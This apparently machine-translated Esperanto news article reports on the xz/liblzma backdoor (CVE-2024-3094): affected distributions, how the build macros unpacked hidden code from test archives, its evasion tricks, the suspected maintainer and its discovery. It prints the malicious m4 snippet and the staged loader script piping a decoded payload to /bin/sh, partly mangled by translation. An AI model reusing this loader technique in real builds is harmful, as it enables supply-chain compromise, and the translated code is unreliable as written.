Malantaŭa pordo estis malkovrita en la biblioteko xz/liblzma kiu permesas eniron per sshd

En la pako XZ Utils, kiu inkluzivas la bibliotekon liblzma kaj utilecojn por labori kun kunpremitaj datumoj en la formato ".xz", estis identigita malantaŭa pordo (CVE-2024-3094), kiu permesas la interkapton kaj modifon de datumoj prilaboritaj de aplikaĵoj asociitaj. kun la biblioteko liblzma. La ĉefa celo de la malantaŭa pordo estas la OpenSSH-servilo, kiu en kelkaj distribuoj estas kunligita kun la biblioteko libsystemd, kiu siavice uzas liblzma. Ligi sshd kun vundebla biblioteko permesas al atakantoj akiri aliron al la SSH-servilo sen aŭtentigo.

La malantaŭa pordo ĉeestis en la oficialaj eldonoj 5.6.0 kaj 5.6.1, publikigitaj la 24-an de februaro kaj la 9-an de marto, kiuj sukcesis eniri kelkajn distribuojn kaj deponejojn, ekzemple, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide kaj 40-beta, openSUSE-fabriko kaj tumbleweed, LibreELEC, Alpa rando, Solus, NixOS malstabila, OpenIndiana, OpenMandriva ruliĝanta, pkgsrc-fluo, Slackware-fluo, Manjaro-testado. Ĉiuj uzantoj de xz 5.6.0 kaj 5.6.1 eldonoj rekomendas urĝe reveni al versio 5.4.6.

Inter la faktoroj mildigantaj la problemon, oni povas rimarki, ke la versio de liblzma kun malantaŭa pordo ne sukcesis fariĝi parto de la stabilaj eldonoj de grandaj distribuoj, sed influis openSUSE Tumbleweed kaj Fedora 40-beta. Arch Linux kaj Gentoo uzis vundeblan version de zx, sed ne estas sentemaj al la atako ĉar ili ne aplikas la systemd-notify flikilon al openssh, kiu igas sshd esti ligita al liblzma. La malantaŭa pordo nur influas x86_64-sistemojn bazitajn sur la Linukso-kerno kaj la Glibc C-biblioteko.

La malantaŭporda aktivigkodo estis kaŝita en m4 makrooj de la build-to-host.m4 dosiero uzata de la aŭtomake ilaro dum konstruado. Dum asembleo, dum la ekzekuto de komplikaj malklarigitaj operacioj bazitaj sur arkivoj (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), uzataj por testi la ĝustecon de operacio, estis generita objektodosiero kun malica kodo, kiu estis inkluzivita en la liblzma biblioteko kaj ŝanĝis la operacian logikon kelkajn el ĝiaj funkcioj. La m4 makrooj kiuj aktivigas la malantaŭan pordon estis inkluditaj en la eldonaj tarballs, sed ne estis en la Git-deponejo. Samtempe, malicaj testarkivoj ĉeestis en la deponejo, t.e. la persono kiu efektivigis la malantaŭan pordon havis aliron al kaj la deponejo kaj la eldongeneradprocezoj.

Kiam vi uzas liblzma en aplikoj, malicaj ŝanĝoj povus esti uzataj por kapti aŭ modifi datumojn aŭ influi la funkciadon de sshd. Aparte, la malica kodo falsigis la funkcion RSA_public_decrypt por preteriri la sshd-aŭtentikigprocezon. La malantaŭa pordo inkludis protekton kontraŭ detekto kaj ne manifestiĝis kiam la LANG- kaj TERM-medivariabloj estis fiksitaj (t.e., dum prizorgado de la procezo en la terminalo) kaj la LD_DEBUG kaj LD_PROFILE-medivariabloj ne estis metita, kaj ankaŭ estis aktivigita nur dum ekzekuto de la /usr/sbin/sshd rulebla dosiero. La malantaŭa pordo ankaŭ havis rimedon por detekti ekzekuton en sencimigaj medioj.

Aparte, la dosiero m4/build-to-host.m4 uzis gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_voja_mapo | $gl_[$1]_prefikso -d 2>/dev/null'

En la unua konstruo, la grep-operacio trovis la dosieron tests/files/bad-3-corrupt_lzma2.xz, kiu, kiam malpakite, generis la skripton: ####Saluton#### #345U211267$^D330^W [ ! $(uname) = "Linukso" ] && eliro 0 [ ! $(uname) = "Linukso" ] && eliro 0 [ ! $(uname) = "Linukso" ] && eliro 0 [ ! $(uname) = "Linukso" ] && eliro 0 [ ! $(uname) = "Linukso" ] && eliro 0 eval `grep ^srcdir= config.status` se testo -f ../../config.status;tiam eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/ nul) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo - c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo - c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/ dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && ( kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +2048 && (kapo -c +1024 >/dev/null) && kapo -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F kruda —lzma1 -dc|/bin/sh ####Mondo####

Kiel la atakantoj sukcesis akiri aliron al la infrastrukturo de la projekto xz ankoraŭ ne estis plene klarigita. Ankaŭ ankoraŭ ne estas klare kiom da uzantoj kaj projektoj estis endanĝerigitaj kiel rezulto de la malantaŭa pordo. La supozata aŭtoro de la malantaŭa pordo (JiaT75 - Jia Tan), kiu afiŝis arkivojn kun malica kodo en la deponejo, korespondis kun Fedora-programistoj kaj sendis tirpetojn al Debian rilate al la transiro de distribuoj al la branĉo xz 5.6.0, kaj ne faris. veki suspekton, ĉar li partoprenis en xz disvolviĝas dum la lastaj du jaroj kaj estas la dua programisto laŭ la nombro de ŝanĝoj faritaj. Krom la projekto xz, la supozata aŭtoro de la malantaŭa pordo ankaŭ partoprenis en la disvolviĝo de la pakaĵoj xz-java kaj xz-enigita. Plie, Jia Tan antaŭ kelkaj tagoj estis inkluzivita en la nombro da prizorgantoj de la projekto XZ Embedded uzata en la Linukso-kerno.

La malica ŝanĝo estis malkovrita post analizo de troa CPU-konsumo kaj eraroj generitaj de valgrind kiam li konektis per ssh al Debian sid-bazitaj sistemoj. Estas rimarkinde, ke la eldono de xz 5.6.1 inkludis ŝanĝojn preparitajn de la supozata aŭtoro de la malantaŭa pordo en respondo al plendoj pri sshd-malrapidiĝoj kaj kraŝoj, kiuj aperis post ĝisdatigo al la zx 5.6.0-versio kun la malantaŭa pordo. Aldone, pasintjare Jia Tan faris ŝanĝojn kiuj estis malkongruaj kun la "-fsanitize=address" inspekta reĝimo, igante ĝin esti malŝaltita dum fuzz-testado.

fonto: opennet.ru

Aldoni komenton